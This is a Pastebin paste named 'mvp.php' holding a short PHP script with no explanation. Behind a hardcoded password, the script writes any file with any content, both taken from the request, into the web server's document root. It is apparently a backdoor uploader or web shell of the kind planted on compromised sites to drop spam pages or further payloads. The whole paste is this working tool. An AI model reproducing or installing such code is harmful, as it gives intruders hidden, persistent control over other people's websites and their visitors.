PalmaSolutions

mvp.php

Mar 19th, 2018
257
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.52 KB | None | 0 0
  1. <?php
  2. error_reporting(E_ERROR);
  3. $password=$_REQUEST['password'];
  4. $action=$_REQUEST['action'];
  5. $filename=$_REQUEST['filename'];
  6. $filepath="";
  7. $body=stripslashes($_REQUEST['body']);
  8.  
  9. if($password!="yt")
  10. {
  11. echo 'password error';
  12. return;
  13. }
  14.  
  15. $rootPath=$_SERVER['DOCUMENT_ROOT'];
  16. $filepath=$rootPath.'/'.$filename;
  17.  
  18. $fp=fopen($filepath,"w");
  19. //fwrite($fp,"\xEF\xBB\xBF".iconv('gbk','utf-8//IGNORE',$body));
  20. fwrite($fp,"\xEF\xBB\xBF".$body);
  21. fclose($fp);
  22.  
  23. if(file_exists($filepath))
  24. {
  25. echo "uploaded";
  26. }
  27. ?>
Advertisement
Add Comment
Please, Sign In to add comment